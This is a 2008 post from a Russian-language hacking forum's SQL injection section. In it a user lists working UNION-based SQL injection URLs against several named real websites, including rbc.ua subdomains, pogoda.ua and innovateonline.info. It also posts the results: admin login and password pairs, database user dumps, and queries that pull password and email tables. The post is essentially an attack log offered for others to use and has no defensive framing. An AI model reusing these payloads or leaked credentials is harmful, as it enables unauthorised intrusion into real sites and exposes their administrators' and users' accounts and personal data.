Форум АНТИЧАТ - SQL Инъекции

#11

15.07.2008, 00:14

sabe

Постоянный

Регистрация: 16.03.2007

Сообщений: 380

Провел на форуме:
1404552

Репутация: 568

RBC.ua - РБК Украина - PR 5

мой любимый способ вывода - в .txt

Цитата:

http://marketing.rbc.ua/file.php?id=99999+union+select+concat_ws(0x3a,user ,password),2,3+from+mysql.user/*

root: а пасса поидее нету

шелл не зальеш ( фильтруются кавычки..

теперь пойдем по субдомменах..

Цитата:

http://marketing.rbc.ua/file.php?id=99999+union+select+concat_ws(0x3a,logi n,pass),2,3+from+presscenter.sys_user/*

Press.rbc.ua/admin/
admin;5660511

Цитата:

http://marketing.rbc.ua/file.php?id=99999+union+select+concat_ws(0x3a,logi n,pass),2,3+from+radio.sys_user/*

Radio.rbc.ua/admin/
admin;5660511

Цитата:

http://marketing.rbc.ua/file.php?id=99999+union+select+concat_ws(0x3a,logi n,password),2,3+from+rbc_research.rbc_users/*

Research.rbc.ua
shultz:shultz

бд большая - рут. найти можно много интересного..

Pogoda.ua- PR 4

Цитата:

http://www.pogoda.ua/index.php?id=999999+union+select+1,concat_ws(0x3a, version(),user(),database()),3,4,5/*

увы 4 мускул. хехе угадал табличку.....

Цитата:

http://www.pogoda.ua/index.php?id=999999+union+select+1,concat_ws(0x3a, login,password),3,4,5+from+users/*

InnovateOnline.info - PR 6

Цитата:

http://innovateonline.info/index.php?view=article&id=9999999+union+select+1,c oncat_ws(0x3a,password)+from+innovate.person_accou nt/*

пассы...

Цитата:

http://innovateonline.info/index.php?view=article&id=9999999+union+select+1,c oncat_ws(0x3a,email)+from+innovate.person/*

мыла...

Цитата:

http://innovateonline.info/index.php?view=article&id=9999999+union+select+1,c oncat_ws(0x3a,user_login,user_pass)+from+innovate_ jobs.wp_users/*

WP - токо где он ?

пс: второй домен webhost.fgsweb.fgsehs.nova.edu

Effective.net.ua

Цитата:

http://www.effective.net.ua/show_obj.php?a=-1+union+select+1,2,3,4,5,6,7,version(),9,10,11,12, 13,14,15,16,17/*

Ekip.com.ua

Цитата:

http://ekip.com.ua/index.php?id=623+union+select+1,2,3,4,5,6,7,8,9,10 ,11,12,13,14,15--

вывод необнаружен..(

Последний раз редактировалось sabe; 03.08.2008 в 19:10..